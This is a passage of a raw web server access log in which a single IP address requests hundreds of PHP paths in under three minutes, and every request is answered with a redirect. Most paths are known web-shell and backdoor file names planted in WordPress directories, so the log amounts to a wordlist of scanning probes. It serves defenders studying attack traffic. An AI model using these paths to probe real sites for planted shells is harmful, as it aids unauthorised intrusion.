"-" 52.138.175.243 - - [18/Apr/2025:08:01:21 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:21 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:22 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:22 -0400] "GET /system//default.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:23 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:24 -0400] "GET /system_log.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:24 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:25 -0400] "GET /t4MyJ.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:25 -0400] "GET /tB.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:26 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:27 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:27 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:28 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:28 -0400] "GET /templates/natural.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:29 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:30 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:30 -0400] "GET /test.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:31 -0400] "GET /test/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:31 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:32 -0400] "GET /tghuGZVrERD.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:32 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:33 -0400] "GET /themes/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:34 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:35 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:35 -0400] "GET /tiny.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:36 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:37 -0400] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:37 -0400] "GET /tinyfilemanager/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:38 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:39 -0400] "GET /tkpKSqOfFIE.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:39 -0400] "GET /tmpls.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:40 -0400] "GET /tqy.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:41 -0400] "GET /tsRBxmo.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:41 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:42 -0400] "GET /ty.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:42 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:43 -0400] "GET /uWjxHmRO9AM.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:44 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:44 -0400] "GET /up.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:45 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:46 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:46 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:47 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:48 -0400] "GET /upload/upload.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:48 -0400] "GET /upload/wp-info.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:49 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:50 -0400] "GET /uploads/.1/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:50 -0400] "GET /uploads/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:51 -0400] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:51 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:52 -0400] "GET /used HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:52 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:53 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:53 -0400] "GET /uvrDZ.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:54 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:55 -0400] "GET /vSiY7GNIxVH.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:57 -0400] "GET /var/www/html/uploads/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:58 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:58 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:01:59 -0400] "GET /wb.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:00 -0400] "GET /wcqLft7.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:00 -0400] "GET /we.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:01 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:01 -0400] "GET /webadmin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:02 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:03 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:03 -0400] "GET /winamp/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:04 -0400] "GET /wkG.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:04 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:05 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:06 -0400] "GET /wordpress/wp-includes/wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:06 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:07 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:08 -0400] "GET /wp-Owl.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:09 -0400] "GET /wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:10 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:12 -0400] "GET /wp-admin.phphttps://diegun.com/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:12 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:13 -0400] "GET /wp-admin//fmadmin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:14 -0400] "GET /wp-admin/31eqRsJgQ6n.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:15 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:16 -0400] "GET /wp-admin/5gTfXRhIqkW.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:16 -0400] "GET /wp-admin/7EPezNYMy84.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:17 -0400] "GET /wp-admin/8h4AoSFJCLO.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:18 -0400] "GET /wp-admin/9pX1s4oMLtC.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:19 -0400] "GET /wp-admin/AhqPecJ6oky.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:20 -0400] "GET /wp-admin/FriUsGzT5d7.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:21 -0400] "GET /wp-admin/GkXRTpxowKQ.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:22 -0400] "GET /wp-admin/ILNqJhgUpAG.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:22 -0400] "GET /wp-admin/LaAkNhWMyOQ.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:23 -0400] "GET /wp-admin/MDO8adG9euX.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:24 -0400] "GET /wp-admin/NFBqIyOZcQL.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:25 -0400] "GET /wp-admin/O5pANR6rDXx.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:26 -0400] "GET /wp-admin/RqdXEex3Jfb.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:27 -0400] "GET /wp-admin/UmpVR1Ersn8.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:27 -0400] "GET /wp-admin/WvASxq1D2c8.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:28 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:29 -0400] "GET /wp-admin/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:30 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:31 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:32 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:34 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:35 -0400] "GET /wp-admin/ccx/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:37 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:39 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:42 -0400] "GET /wp-admin/cong.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:44 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:46 -0400] "GET /wp-admin/css//about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:47 -0400] "GET /wp-admin/css//forbidden.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:47 -0400] "GET /wp-admin/css//item.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:48 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:49 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:50 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:51 -0400] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:52 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:53 -0400] "GET /wp-admin/css/colors//Admin-Author.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:53 -0400] "GET /wp-admin/css/colors//about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:54 -0400] "GET /wp-admin/css/colors//moon.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:55 -0400] "GET /wp-admin/css/colors/aPRTXyP.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:56 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:57 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:58 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:58 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:02:59 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:00 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:00 -0400] "GET /wp-admin/css/colors/blue/index.php/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:01 -0400] "GET /wp-admin/css/colors/blue/index.php/.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:02 -0400] "GET /wp-admin/css/colors/blue/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:03 -0400] "GET /wp-admin/css/colors/blue/lock.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:04 -0400] "GET /wp-admin/css/colors/blue/moon.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:05 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:05 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:06 -0400] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:07 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:07 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:08 -0400] "GET /wp-admin/css/colors/ectoplasm//my1.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:08 -0400] "GET /wp-admin/css/colors/ectoplasm/users.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:09 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:10 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:11 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:11 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:12 -0400] "GET /wp-admin/css/colors/light/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:13 -0400] "GET /wp-admin/css/colors/midnight/IUSPPi.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:13 -0400] "GET /wp-admin/css/colors/midnight/colors.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:14 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:15 -0400] "GET /wp-admin/css/colors/ocean/wp-post.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:15 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:16 -0400] "GET /wp-admin/css/colors/wp-post.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:17 -0400] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:18 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:18 -0400] "GET /wp-admin/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:19 -0400] "GET /wp-admin/css/index.php?pass=admin HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:20 -0400] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:20 -0400] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:21 -0400] "GET /wp-admin/css/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:22 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:22 -0400] "GET /wp-admin/css/x2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:23 -0400] "GET /wp-admin/cux.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:24 -0400] "GET /wp-admin/date.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:24 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:25 -0400] "GET /wp-admin/fIPCHgi5lwx.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:26 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:27 -0400] "GET /wp-admin/ftpnMRS2BQw.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:27 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:28 -0400] "GET /wp-admin/gLMkHUftdyF.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:29 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:30 -0400] "GET /wp-admin/images//Mhbgf.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:30 -0400] "GET /wp-admin/images//links.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:31 -0400] "GET /wp-admin/images//mlm.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:31 -0400] "GET /wp-admin/images//wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:32 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:33 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:33 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:34 -0400] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:34 -0400] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:35 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:36 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:36 -0400] "GET /wp-admin/images/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:37 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:37 -0400] "GET /wp-admin/images/layout.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:38 -0400] "GET /wp-admin/images/users.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:39 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:40 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:40 -0400] "GET /wp-admin/includes//12wvdscz.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:41 -0400] "GET /wp-admin/includes//inputs.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:42 -0400] "GET /wp-admin/includes//install.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:42 -0400] "GET /wp-admin/includes//links.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:43 -0400] "GET /wp-admin/includes//nav.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:44 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:44 -0400] "GET /wp-admin/includes/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:45 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:45 -0400] "GET /wp-admin/includes/cong.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:46 -0400] "GET /wp-admin/includes/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:47 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:47 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:48 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:48 -0400] "GET /wp-admin/includes/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:49 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:50 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:50 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:51 -0400] "GET /wp-admin/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:52 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:52 -0400] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:53 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:53 -0400] "GET /wp-admin/js//themes.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:54 -0400] "GET /wp-admin/js//wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:54 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:55 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:56 -0400] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:57 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:57 -0400] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:58 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:58 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:03:59 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:00 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:00 -0400] "GET /wp-admin/js/widgets/edit.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:01 -0400] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:02 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:03 -0400] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:04 -0400] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:04 -0400] "GET /wp-admin/js/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:04:05 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - 